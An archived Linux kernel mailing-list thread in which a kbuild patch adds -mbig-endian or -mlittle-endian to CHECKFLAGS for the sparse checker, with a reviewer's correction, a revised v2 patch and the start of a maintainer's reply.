Xref: news.gmane.org gmane.linux.kernel:2780511 gmane.linux.kbuild.devel:20138 gmane.linux.ports.parisc:28664
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2780511>

The kernel depends on macros like __BYTE_ORDER__,
__BIG_ENDIAN__ or __LITTLE_ENDIAN__.

OTOH, sparse doesn't know about the endianness of the kernel and
by default uses the same as the machine on which sparse was built.

Ensure that sparse can predefine the macros corresponding to
how the kernel was configured by adding -m{big,little}-endian
to CHECKFLAGS in the main Makefile (and so for all archs).
Also, remove the equivalent done in arch specific Makefiles.

Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
---
 Makefile               | 3 +++
 arch/openrisc/Makefile | 1 -
 arch/parisc/Makefile   | 2 +-
 arch/s390/Makefile     | 2 +-
 4 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/Makefile b/Makefile
index 56ba070df..057a278d2 100644
--- a/Makefile
+++ b/Makefile
@@ -878,6 +878,9 @@ ifeq ($(CONFIG_STRIP_ASM_SYMS),y)
 LDFLAGS_vmlinux	+= $(call ld-option, -X,)
 endif
 
+# insure the checker run with the right endianness
+CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig,-mlittle)
+
 # Default kernel image to build when no specific target is given.
 # KBUILD_IMAGE may be overruled on the command line or
 # set in the environment
diff --git a/arch/openrisc/Makefile b/arch/openrisc/Makefile
index cf8802962..89076a66e 100644
--- a/arch/openrisc/Makefile
+++ b/arch/openrisc/Makefile
@@ -25,7 +25,6 @@ LDFLAGS_vmlinux :=
 LIBGCC 		:= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
 KBUILD_CFLAGS	+= -pipe -ffixed-r10 -D__linux__
-CHECKFLAGS	+= -mbig-endian
 
 ifeq ($(CONFIG_OPENRISC_HAVE_INST_MUL),y)
 	KBUILD_CFLAGS += $(call cc-option,-mhard-mul)
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 34ac503e2..348ae4779 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -22,7 +22,7 @@ KBUILD_IMAGE := vmlinuz
 KBUILD_DEFCONFIG := default_defconfig
 
 NM		= sh $(srctree)/arch/parisc/nm
-CHECKFLAGS	+= -D__hppa__=1 -mbig-endian
+CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 export LIBGCC
 
diff --git a/arch/s390/Makefile b/arch/s390/Makefile
index c79936d02..68a690442 100644
--- a/arch/s390/Makefile
+++ b/arch/s390/Makefile
@@ -18,7 +18,7 @@ KBUILD_CFLAGS	+= -m64
 KBUILD_AFLAGS	+= -m64
 UTS_MACHINE	:= s390x
 STACK_SIZE	:= 16384
-CHECKFLAGS	+= -D__s390__ -D__s390x__ -mbig-endian
+CHECKFLAGS	+= -D__s390__ -D__s390x__
 
 export LD_BFD
 
-- 
2.17.0



From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Randy Dunlap <rdunlap@infradead.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] kbuild: add endianness flag to CHEKCFLAGS
Date: Mon, 28 May 2018 10:31:58 -0700
Lines: 81
Approved: news@gmane.org
Message-ID: <7ce087bc-dd52-bae8-96f2-fad91f5a345e@infradead.org>
References: <20180528170048.16595-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1527528609 20301 195.159.176.226 (28 May 2018 17:30:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 May 2018 17:30:09 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.8.0
Cc: Michal Marek <michal.lkml@markovi.net>,
        linux-kbuild@vger.kernel.org, linux-kernel@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon May 28 19:30:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fNLy7-0005A5-7s
	for glk-linux-kernel-4@m.gmane.org; Mon, 28 May 2018 19:30:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754572AbeE1RcM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 28 May 2018 13:32:12 -0400
Original-Received: from merlin.infradead.org ([205.233.59.134]:51964 "EHLO
        merlin.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754443AbeE1RcJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 28 May 2018 13:32:09 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=merlin.20170209; h=Content-Transfer-Encoding:Content-Type:
        In-Reply-To:MIME-Version:Date:Message-ID:From:References:Cc:To:Subject:Sender
        :Reply-To:Content-ID:Content-Description:Resent-Date:Resent-From:
        Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:
        List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
        bh=el83o7qDecNZF/O0hd/IQnNvowCgnCiE+rQQ9GxihKM=; b=oTO3CxZFS0qDyywygwHzDft7ul
        WTzyHuVrdUbDu1cwRNNXQD/iBDGiU54kCXACxF6dQWcYFy2ew5qPgpLiTBQJ71INog5FDAiRrLyCu
        huvY4avLCqG+0siQorz2mJny+geD4KFWjzD6nGl4PEqFf4oqMswD12z5/57Q9oEP/17AUrmpZkVOq
        lU1z3pJFe8uBvt5PVp/5l7i8FANzIdF14tiy0nV+FuZIZ8efg9ws24RkIidD0eV2P49rVKJ0jnExx
        aZT6u8KLtrssSdlnPlJ75Um01cG9P4ayGhm5AfMNTHdYJQppq4fp8gUNL3rbg/J0WZTADqA5M0IlQ
      
Original-Received: from static-50-53-52-16.bvtn.or.frontiernet.net ([50.53.52.16] helo=midway.dunlab)
        by merlin.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fNM01-0005jr-2E; Mon, 28 May 2018 17:32:01 +0000
In-Reply-To: <20180528170048.16595-1-luc.vanoostenryck@gmail.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2780516 gmane.linux.kbuild.devel:20139 gmane.linux.ports.parisc:28665
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2780516>

On 05/28/2018 10:00 AM, Luc Van Oostenryck wrote:
> The kernel depends on macros like __BYTE_ORDER__,
> __BIG_ENDIAN__ or __LITTLE_ENDIAN__.
> 
> OTOH, sparse doesn't know about the endianness of the kernel and
> by default uses the same as the machine on which sparse was built.
> 
> Ensure that sparse can predefine the macros corresponding to
> how the kernel was configured by adding -m{big,little}-endian
> to CHECKFLAGS in the main Makefile (and so for all archs).
> Also, remove the equivalent done in arch specific Makefiles.
> 
> Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
> ---
>  Makefile               | 3 +++
>  arch/openrisc/Makefile | 1 -
>  arch/parisc/Makefile   | 2 +-
>  arch/s390/Makefile     | 2 +-
>  4 files changed, 5 insertions(+), 3 deletions(-)
> 
> diff --git a/Makefile b/Makefile
> index 56ba070df..057a278d2 100644
> --- a/Makefile
> +++ b/Makefile
> @@ -878,6 +878,9 @@ ifeq ($(CONFIG_STRIP_ASM_SYMS),y)
>  LDFLAGS_vmlinux	+= $(call ld-option, -X,)
>  endif
>  
> +# insure the checker run with the right endianness
> +CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig,-mlittle)

Does this need to be                           -mbig-endian,-mlittle-endian)

> +
>  # Default kernel image to build when no specific target is given.
>  # KBUILD_IMAGE may be overruled on the command line or
>  # set in the environment
> diff --git a/arch/openrisc/Makefile b/arch/openrisc/Makefile
> index cf8802962..89076a66e 100644
> --- a/arch/openrisc/Makefile
> +++ b/arch/openrisc/Makefile
> @@ -25,7 +25,6 @@ LDFLAGS_vmlinux :=
>  LIBGCC 		:= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
>  
>  KBUILD_CFLAGS	+= -pipe -ffixed-r10 -D__linux__
> -CHECKFLAGS	+= -mbig-endian
>  
>  ifeq ($(CONFIG_OPENRISC_HAVE_INST_MUL),y)
>  	KBUILD_CFLAGS += $(call cc-option,-mhard-mul)
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index 34ac503e2..348ae4779 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -22,7 +22,7 @@ KBUILD_IMAGE := vmlinuz
>  KBUILD_DEFCONFIG := default_defconfig
>  
>  NM		= sh $(srctree)/arch/parisc/nm
> -CHECKFLAGS	+= -D__hppa__=1 -mbig-endian
> +CHECKFLAGS	+= -D__hppa__=1
>  LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
>  export LIBGCC
>  
> diff --git a/arch/s390/Makefile b/arch/s390/Makefile
> index c79936d02..68a690442 100644
> --- a/arch/s390/Makefile
> +++ b/arch/s390/Makefile
> @@ -18,7 +18,7 @@ KBUILD_CFLAGS	+= -m64
>  KBUILD_AFLAGS	+= -m64
>  UTS_MACHINE	:= s390x
>  STACK_SIZE	:= 16384
> -CHECKFLAGS	+= -D__s390__ -D__s390x__ -mbig-endian
> +CHECKFLAGS	+= -D__s390__ -D__s390x__
>  
>  export LD_BFD
>  
> 


-- 
~Randy


From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] kbuild: add endianness flag to CHEKCFLAGS
Date: Mon, 28 May 2018 20:27:19 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20180528182718.7mdr66wp4xmg55lo@ltop.local>
References: <20180528170048.16595-1-luc.vanoostenryck@gmail.com>
 <7ce087bc-dd52-bae8-96f2-fad91f5a345e@infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1527531924 11755 195.159.176.226 (28 May 2018 18:25:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 May 2018 18:25:24 +0000 (UTC)
User-Agent: NeoMutt/20180323
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Michal Marek <michal.lkml@markovi.net>,
        linux-kbuild@vger.kernel.org, linux-kernel@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: Randy Dunlap <rdunlap@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon May 28 20:25:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fNMpa-0000Ij-2d
	for glk-linux-kernel-4@m.gmane.org; Mon, 28 May 2018 20:25:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755667AbeE1S12 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 28 May 2018 14:27:28 -0400
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:39660 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754444AbeE1S1W (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 28 May 2018 14:27:22 -0400
Original-Received: by mail-wm0-f68.google.com with SMTP id f8-v6so34257393wmc.4;
        Mon, 28 May 2018 11:27:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=STi/jmbigQ4rJDjQvlVamw2UlxLUhvfPMsKQkiZOhyU=;
        b=U+RcpxGMCpX53PtjmNd1YdbEkPdbcP3eXw4l9dGEve2ucAqe6A8BKoj7fB2sFXMPGE
         W5GEw25inPU82CH18ZwFbfeZYp51FM+29igSHaVHWPSLGdNP8St4VdoIEvWYGWRC+o0q
         cR9nI9fjsXTgIO745AI+B5JNHCEbKv931cKGEKYo08gYkD0BHQG0YMAREv13LM6QF8cP
         40bIHEbcTa3qW0AUPowzhh+lO1zynU1evR/rka2kJN+12Iqc298zuDkucKO2UEvYNoXi
         BxH9/oQsk52d8AnOQrtXzJG189OR8bA7YaRKXS5oSfU5zuHefpWPqG1ZGQQbBqiofFvj
         PE0g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=STi/jmbigQ4rJDjQvlVamw2UlxLUhvfPMsKQkiZOhyU=;
        b=o34eV6M2mgqO1Dcs8VTl1BgB+srKdDZ6VkvLFBF0vgkJnPFeRRR/SD+FLTKKNTUPAS
         NFrsO+j/tr+1xsPr69FtCg4+V7ewT0Z8uPXdlgbAoW8Pv6EIEWhEL2JvxXyM0pfcxDhX
         x/CoGsq5oWLuJvIioFWrql16v+Bn0WGUuPJXqfaXCRFIJMJG94zBwraVOlcKzvt9zwXF
         DT4OvS3SNLO82yWbHNTVlTfnRLnIUSFgJICkqx2HtnHrOmiiZ6nE5qtHCUxsLaXA3sxz
         fFC+CNtavVpRX0faHmh3/RmsicfgcPNnCImYDvdY5XY7+mvyMU2ixRzVcT8ekDhcGbAW
         k35w==
X-Gm-Message-State: ALKqPwf3/inHGbTzUm6No7KEKdqGMW6vYBbMJtXZ6p3QvUXc6+VE1LTY
        QfQJrIqTfdyMn2pK9QSa7c4=
X-Google-Smtp-Source: ADUXVKLZM9S8K7XT8KWkh3NoZDZqqkkR/dNArZqkWcpRLUe2l+wNw6bzwaAGQu8D5tmDPDj/o5r2TA==
X-Received: by 2002:a50:ae21:: with SMTP id c30-v6mr2038185edd.131.1527532040872;
        Mon, 28 May 2018 11:27:20 -0700 (PDT)
Original-Received: from ltop.local ([2a02:a03f:40cd:8c00:c5f:90f8:43e8:b159])
        by smtp.gmail.com with ESMTPSA id h30-v6sm16789913edh.73.2018.05.28.11.27.19
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 28 May 2018 11:27:20 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <7ce087bc-dd52-bae8-96f2-fad91f5a345e@infradead.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2780547 gmane.linux.kbuild.devel:20140 gmane.linux.ports.parisc:28666
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2780547>

On Mon, May 28, 2018 at 10:31:58AM -0700, Randy Dunlap wrote:
> On 05/28/2018 10:00 AM, Luc Van Oostenryck wrote:
> > +# insure the checker run with the right endianness
> > +CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig,-mlittle)
> 
> Does this need to be                           -mbig-endian,-mlittle-endian)

Of course it does. *sigh*
Thanks for noticing that. Correct patch is on the fly.

-- Luc 


From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.parisc
Subject: [PATCH v2] kbuild: add endianness flag to CHEKCFLAGS
Date: Mon, 28 May 2018 20:27:35 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <20180528182735.18257-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1527531946 13468 195.159.176.226 (28 May 2018 18:25:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 May 2018 18:25:46 +0000 (UTC)
Cc: Michal Marek <michal.lkml@markovi.net>,
        linux-kbuild@vger.kernel.org, linux-kernel@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org,
        Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
To: Masahiro Yamada <yamada.masahiro@socionext.com>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon May 28 20:25:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fNMpv-0003KZ-Nl
	for glk-linux-kernel-4@m.gmane.org; Mon, 28 May 2018 20:25:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933249AbeE1S1s (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 28 May 2018 14:27:48 -0400
Original-Received: from mail-wm0-f67.google.com ([74.125.82.67]:55554 "EHLO
        mail-wm0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755686AbeE1S1m (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 28 May 2018 14:27:42 -0400
Original-Received: by mail-wm0-f67.google.com with SMTP id a8-v6so34135578wmg.5;
        Mon, 28 May 2018 11:27:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=yYJhQR9S2D01uvxvgSEbMB91y3F9/95k4xNYdlI/xZE=;
        b=kCgKOGuzo9ek9V9AnIn6R40KZYw9UIam4CwkCKVb8K0DIPSQMkd+JvTqiYW/MPXDgI
         nQ/NsrCa7DHUTTmJdpnhwr5sylP5FXQ6lJtNcVUPQT1VKCD2oxnVzND6T4LfhgSs3Iz5
         gZ5b8JW7GaN8iBwtAt46VcvBmDXpg5d2VRXkzggOLGGVFrtL2gzEZCEz23bRQRVorbyI
         bwE4j+ZxtGiElg2BpgPGd+RZgYooXJOrO573XHqay6CguCWfCw/nVqAXEeGUeGuY0ChC
         s9z2DYcpDop/Q4xUPnxDW6d+6qnt2+Tjj+D8n9qcsjg13jr7NWziKKUzARCEh/sxhE44
         Iwvg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=yYJhQR9S2D01uvxvgSEbMB91y3F9/95k4xNYdlI/xZE=;
        b=Ygt6UEtsnjYbZ7ZgJGou4FZiQDbT7D6LhFM6D7ByExfjS34bGr+ZGIUDcm9G9uSoJl
         cNhbX1gHaXGTZSWAcSCBk4P3dRxuclHU7OdY2MkWIoE5J0Z4CriQpHEucwDOVw+EWw/8
         mE3CawdkwmBUsff4ak9PZLDSmeKE6gZzrsQ+sMiWgit608wx6xDQ7Fh+VMGU4tuoXg59
         dJ5hn5HM1i0Ybl9tTeI35SWIITKzfJcnv8OSWV+YpvkrP2Hets715tvJ0ZL9+mjFD0X9
         Ki/hP0omKhQes/8YHu2VYX2xZBZNh61Q/jTVF8smrEr8fGOJkZHqMdAdZXh7fhbrE9ch
         9Ucg==
X-Gm-Message-State: ALKqPwfgkz5T6SYic6XtRS3WvPx5Azn5JVefN6jf5oDgn08M822zhZ+C
        r2rPtI9XLuHv5Wea4SIE1n4=
X-Google-Smtp-Source: AB8JxZrNoUyReFDq+P2n8ImUmQlEqBcRz2BKz+RkPufVXPF/4TtRMXaclUCDM1U9XZsxNVGHTknqbw==
X-Received: by 2002:a50:8cc4:: with SMTP id r4-v6mr15880915edr.115.1527532060583;
        Mon, 28 May 2018 11:27:40 -0700 (PDT)
Original-Received: from localhost.localdomain (252.178-246-81.adsl-dyn.isp.belgacom.be. [81.246.178.252])
        by smtp.gmail.com with ESMTPSA id q6-v6sm16449817edh.9.2018.05.28.11.27.39
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 28 May 2018 11:27:40 -0700 (PDT)
X-Mailer: git-send-email 2.17.0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2780548 gmane.linux.kbuild.devel:20141 gmane.linux.ports.parisc:28667
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2780548>

The kernel depends on macros like __BYTE_ORDER__,
__BIG_ENDIAN__ or __LITTLE_ENDIAN__.

OTOH, sparse doesn't know about the endianness of the kernel and
by default uses the same as the machine on which sparse was built.

Ensure that sparse can predefine the macros corresponding to
how the kernel was configured by adding -m{big,little}-endian
to CHECKFLAGS in the main Makefile (and so for all archs).
Also, remove the equivalent done in arch specific Makefiles.

Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
---
 Makefile               | 3 +++
 arch/openrisc/Makefile | 1 -
 arch/parisc/Makefile   | 2 +-
 arch/s390/Makefile     | 2 +-
 4 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/Makefile b/Makefile
index 56ba070df..6c6610913 100644
--- a/Makefile
+++ b/Makefile
@@ -878,6 +878,9 @@ ifeq ($(CONFIG_STRIP_ASM_SYMS),y)
 LDFLAGS_vmlinux	+= $(call ld-option, -X,)
 endif
 
+# insure the checker run with the right endianness
+CHECKFLAGS += $(if $(CONFIG_CPU_BIG_ENDIAN),-mbig-endian,-mlittle-endian)
+
 # Default kernel image to build when no specific target is given.
 # KBUILD_IMAGE may be overruled on the command line or
 # set in the environment
diff --git a/arch/openrisc/Makefile b/arch/openrisc/Makefile
index cf8802962..89076a66e 100644
--- a/arch/openrisc/Makefile
+++ b/arch/openrisc/Makefile
@@ -25,7 +25,6 @@ LDFLAGS_vmlinux :=
 LIBGCC 		:= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
 KBUILD_CFLAGS	+= -pipe -ffixed-r10 -D__linux__
-CHECKFLAGS	+= -mbig-endian
 
 ifeq ($(CONFIG_OPENRISC_HAVE_INST_MUL),y)
 	KBUILD_CFLAGS += $(call cc-option,-mhard-mul)
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 34ac503e2..348ae4779 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -22,7 +22,7 @@ KBUILD_IMAGE := vmlinuz
 KBUILD_DEFCONFIG := default_defconfig
 
 NM		= sh $(srctree)/arch/parisc/nm
-CHECKFLAGS	+= -D__hppa__=1 -mbig-endian
+CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 export LIBGCC
 
diff --git a/arch/s390/Makefile b/arch/s390/Makefile
index c79936d02..68a690442 100644
--- a/arch/s390/Makefile
+++ b/arch/s390/Makefile
@@ -18,7 +18,7 @@ KBUILD_CFLAGS	+= -m64
 KBUILD_AFLAGS	+= -m64
 UTS_MACHINE	:= s390x
 STACK_SIZE	:= 16384
-CHECKFLAGS	+= -D__s390__ -D__s390x__ -mbig-endian
+CHECKFLAGS	+= -D__s390__ -D__s390x__
 
 export LD_BFD
 
-- 
2.17.0



From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Masahiro Yamada <yamada.masahiro@socionext.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] kbuild: add endianness flag to CHEKCFLAGS
Date: Tue, 29 May 2018 22:08:06 +0900
Lines: 91
Approved: news@gmane.org
Message-ID: <CAK7LNASM461EHR-4VOMR8d-kx4v8RbZtr7cQ2YQ7X4JYTGenZg@mail.gmail.com>
References: <20180528182735.18257-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1527599213 17107 195.159.176.226 (29 May 2018 13:06:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 May 2018 13:06:53 +0000 (UTC)
Cc: Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Michal Marek <michal.lkml@markovi.net>,
        Linux Kbuild mailing list <linux-kbuild@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linux-s390 <linux-s390@vger.kernel.org>
To: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 29 15:06:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fNeKt-0004Jl-04
	for glk-linux-kernel-4@m.gmane.org; Tue, 29 May 2018 15:06:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934259AbeE2NI4 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 29 May 2018 09:08:56 -0400
Original-Received: from conssluserg-05.nifty.com ([210.131.2.90]:17330 "EHLO
        conssluserg-05.nifty.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933444AbeE2NIw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 29 May 2018 09:08:52 -0400
Original-Received: from mail-ua0-f176.google.com (mail-ua0-f176.google.com [209.85.217.176]) (authenticated)
        by conssluserg-05.nifty.com with ESMTP id w4TD8lrA014125;
        Tue, 29 May 2018 22:08:48 +0900
DKIM-Filter: OpenDKIM Filter v2.10.3 conssluserg-05.nifty.com w4TD8lrA014125
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nifty.com;
        s=dec2015msa; t=1527599328;
        bh=AlPMZ5HkcqjlE8oMdF2LBb5muBKuA7tbUJXALRt6vLk=;
        h=In-Reply-To:References:From:Date:Subject:To:Cc:From;
        b=V4q9NpIqSLzRaFShrovGHU90Da0xGJKdNlnA9yclqn0qNavqaM9owsfrAL1U9HZFB
         fACVcWibSHcf+CBnW44PhMBBodXRvScpGy63WLl4hHCbXf8O9WVbqn2Sg+gOmSzxaI
         W1/mW6W47k9o6GxpKXWY14dAONqvWOlAqxc3+lpyGiKd6cUH86eVqfpFVvAsCbaYc+
